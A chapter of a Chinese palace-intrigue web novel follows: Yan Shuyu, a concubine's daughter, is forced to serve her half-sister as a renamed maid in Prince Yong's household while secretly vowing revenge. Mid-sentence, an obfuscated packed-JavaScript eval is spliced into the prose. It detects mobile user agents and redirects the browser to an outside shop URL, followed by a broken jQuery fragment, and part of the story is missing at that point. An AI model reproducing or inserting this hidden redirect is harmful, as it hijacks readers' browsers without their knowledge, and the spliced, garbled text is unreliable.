阳春三月,原本是花草盈野、春意盎然的季节,大理寺少卿颜崇志府上却吵得天翻地覆。
“一个外室女,还真当她是大小姐了?能和我女儿一起进雍王府,那是她上辈子修来的福气,还敢说不?”颜夫人柳眉倒竖,满脸怒容,冲着颜老爷唾沫星子横飞。
颜崇志紧皱眉头,喝了一口茶水,才慢悠悠道,“夫人,舒妤早就定下亲事,如今突然让她做个丫鬟跟着丹华进雍王府,实在是不妥当。”
颜夫人气得要发疯,胸膛剧烈起伏。
女儿要进王府做庶妃,三番五次求她,一定要带上颜舒妤这个祸害,以后说不准能派上用场……
她深思熟虑后,深觉有理。这才和老爷提起,竟然遭到强烈反对。
“老爷,妾身把话撂在这儿。若是你不同意那个贱丫头跟着去雍王府,那么丹华也不去了。”
“哐——”颜崇志气得浑身发抖,将杯盏重重搁在桌上,“你休要放肆!丹华被纳为雍王庶妃乃是皇后娘娘金口玉言,定下的事情。岂容你我随意更改?”
“况且,丹华若是无故悔婚,日后雍王和皇后怪罪下来,该当如何?你要害死我颜府上下百口人命吗?”
颜夫人嗤笑一声,起身甩了甩手帕,冷笑道,“老爷还知道这一点。那么颜府上下的人命,与颜舒妤的婚事相比,孰重孰轻,还望老爷明鉴。”
说罢,颜夫人气势汹汹离开了小厅,独留颜老爷一人唉声叹气。
颜崇志倒不是多么爱重颜舒妤这个女儿,只是他向来不看好雍王,两个女儿不能都送进雍王府。
鸡蛋不能搁在一个篮子里,凡事都想求个保险而已。
颜舒妤生得貌美,论容貌不逊于颜丹华这个嫡长女。若是做个丫头实在太可惜了。他真的想不明白,府里面不缺丫鬟下人,丹华怎么就偏偏想要带上舒妤伺候呢……
被颜崇志反复思量的正主颜舒妤,正瑟缩着跪在地上,下巴被一只绣花鞋迫着抬起。
“明日,跟着我一起进雍王府。记好啦,你永远都是我身边的贱奴,而不是颜府的二小姐。你娘当年勾引我爹,偷偷生下你,如今府上能容你们娘俩一口饭吃,已是我娘慈悲心肠。”
颜丹华抚了抚自己梳得一丝不苟的墨发,笑容明媚,语气却阴恻恻的。
前日,庙里大师为她解签。言明府上花开并蒂,有一女乃是天生凤命,贵不可言。为了保证她日后登上高位,她必须扼杀一切可能的意外。包括颜舒妤。
转念想到自己身上难言的缺陷。加之颜舒妤有几分姿色,能做一块合格的踏脚石。
思来想去,她决定带颜舒妤一同入雍王府。
颜丹华森冷刺骨的目光上下打量着颜舒妤,眸底思绪翻涌如潮。
颜舒妤垂着头,感受到那只脚刻意用了力气。来不及思考颜丹华砸下的惊天消息。她赶忙恭声回应,“奴婢记下了,一切听从大小姐安排。”
她不得不低头。
她娘是本是一名落魄秀才之女,早年丧母。父女二人在江浙一带靠着给人写书信、代笔为生。
娘当年与外出游历的父亲一见钟情,在她出生后,爹才表明身份,将她们母女带回颜府。
她10岁回到这个家,受尽嫡母和嫡姐的虐待磋磨。
好在爹为她定下一门亲事,是一名寒门学子,已经中了秀才,有望来年春闱金榜题名。这也是她和娘唯一的指望。
怎料,今日大小姐突然找过来,砸碎了这个指望。
头顶的声音还在继续,“你娘仍旧在府里生活,你别想打什么坏主意。”
颜舒妤声音闷闷的:“是,大小姐。”
脚步声逐渐远去。另一个方向,一道慈爱温和的声音传来:“阿妤,这可怎么办呀?夫人和大小姐,她们到底想要干什么?”
颜舒妤被一个温暖的怀抱紧紧包裹。
一双粗糙有力的大手将自己拢在怀里,娘的泪水簌簌掉落,砸在她脸蛋上、衣襟上,温热却满含绝望。
那双布满厚茧的手指握着她的手,不住发抖。
“阿妤,都是娘连累了你。今后,娘什么都听你的。”白氏呜咽着,目光舍不得从女儿身上挪开半寸。这一分别,不知道下次见面是什么时候。
颜舒妤伸手轻轻拍着娘的脊背,为她顺气,“娘,别这么说,我从未怪过您。您也别担心。说不准,这是个机会呢。”
她温柔地安慰着生母白氏,一双眼睛亮得惊人。
母女二人紧紧相拥,在这间不大的下人房里絮絮低语,直到暮色降临才堪堪止住眼泪。
第二天一大早,一顶小轿从颜府接走了颜丹华。颜舒妤换上下人衣裳,和春月一同跟随花轿离开。
因为是庶妃,轿子直接从角门进入,并未大开中门。但该有的规制分毫不差。
颜舒妤细细打量,王府内披红挂彩,喜气盈盈。虽没有大宴宾客,鼓乐齐鸣,但下人们个个腰系红绸,脸上都漾着融融的喜色。
颜崇志和柳氏夫妻二人,早已将雍王府的情况打探清楚。
雍王府后院如今除王妃姜氏外,高阶侍妾有林氏和高氏两名侧妃,田庶妃和苗庶妃,加上颜丹华这个庶妃,一正二侧三庶妃刚好填满。
其余侍妾和通房丫鬟,没有定数。
在大恒朝王府后院里,雍王府算是人口简单的。
经过一系列繁琐的礼仪流程,主仆三人进入正厅。
春月扶着颜丹华上前拜见王妃和王爷,在赞礼官一声“礼成”中,颜丹华正式成为雍亲王府庶妃,入住听雪院。
碧空如洗,万里无云。王府内屋宇院落巍峨雄浑,尽显天家气派。
小丫鬟引着一行人朝听雪院走去,笑吟吟说道:
“庶妃主子当真是好福气。前些日子,王爷亲自吩咐王妃准备院子,王妃精挑细选后,命人重新修葺听雪院。庶妃一定能住得舒坦。”
春月毫不犹豫接话,一脸谄媚地讨好颜丹华,“那是自然,颜庶妃可是皇后娘娘亲赐入府,往后前程不可限量!”
颜丹华笑靥如花,眼底的满意和畅快几乎要溢出来,“那是当然。”
颜舒妤深深看了一眼正喜不自胜,满脸得意的颜丹华。
心底暗想:
父亲和柳氏为颜丹华精心择选了雍王这架登云梯。可有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17867360|212224||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她颜舒妤在,她会想尽一切方法,不惜一切代价,在颜丹华登临高位之前,将她拽下来。
由她颜舒妤取而代之。荣华富贵、锦绣前程,都会属于她。
领路的丫鬟推开院门,明亮宽敞的院子里,阁楼屋宇错落有致。
假山池沼,名品花卉,层次分明,设计巧夺天工。
一行人进了主屋,家具摆设、床榻寝具无一不精。
颜丹华坐在玫瑰圈椅上,莞尔一笑,“果真是好地方。王爷和王妃真是费心了。等明日拜见王妃,我定要亲自谢过王妃操劳。”
“那颜庶妃您先歇着,奴婢告退了。”
春月扶着颜丹华进了内室,颜舒妤奉上一盏茶水解渴。
颜丹华由春月锤着腿,姿态闲适,眼底寒霜凛冽,“颜舒妤,你这个名字叫着挺别扭的。我给你改一个吧。”
她锐利的眸光一寸寸刮过颜舒妤的面庞,冷声宣布,“烟雨。两个字,叫起来简洁方便,和春月也相称。”
改叫烟雨,失去“颜”这个姓氏,彻底碾碎颜舒妤身为颜府小姐的底色。从头到脚沦为奴婢。
颜丹华这一招可谓杀人诛心。
颜舒妤唇角微弯,垂眸敛目,掩住眸底翻涌的恨意和不甘。
在颜府5载苟且偷生,任人凌辱。她早已懂得控制情绪,隐藏心思,做到喜怒不形于色。
“奴婢烟雨,谢颜庶妃赐名。”颜舒妤福身行礼,面色云淡风轻。
她和娘以下人身份居住在颜府,她自然算是家仆之女。颜丹华身为主子,给她改名,天经地义,无可指摘。
但,终有一日,她会堂堂正正拿回自己的名字。还要带着娘正式入颜氏族谱。
紧跟着,拨来听雪院伺候的一等丫鬟——彩笄,进来叩首请安。
“奴婢彩笄,拜见庶妃主子,主子吉祥。”
颜舒妤用余光悄悄打量着彩笄。
彩笄与自己年纪相当,一张圆脸上眉目清秀,眼波流转间很是灵动。
按照王府后院的规矩,颜丹华是庶妃,伺候她的丫鬟有:一等丫鬟1名,二等丫鬟2名,粗使丫鬟4名。
颜丹华入府带了春月和烟雨,王妃也就只派了彩笄,带领粗使丫鬟过来。
彩笄周全礼数后,又率其余一众在听雪院当差的粗使丫鬟,叩头拜见,自报姓名。
颜丹华慵懒地靠在椅背上,细细端详自己染的凤仙花指甲,全程没给彩笄她们一个眼神。
彩笄脑袋磕在冰凉的地面上,忐忑不安,心底直打鼓。不知晓眼前的新主子——颜庶妃到底什么脾性,更不敢抬头。
其余四人感觉到屋子里气氛微妙,彩笄姐姐没有动作,她们更加不敢妄动。
颜丹华看完指甲上的图案颜色,颇感满意。端起茶盏抿了两口,才勉强扯了扯唇角,幽幽开口。
“既然来了听雪院伺候,往后都好好做事。凡忠心耿耿,勤勉做事的,我必不会薄待。”
她话锋一转,语气陡然尖锐起来,“若有谁肚里生了不该有的心思,也莫怪我这个主子不留情面!”
彩笄一众连忙恭敬地表忠心,然后才被叫起。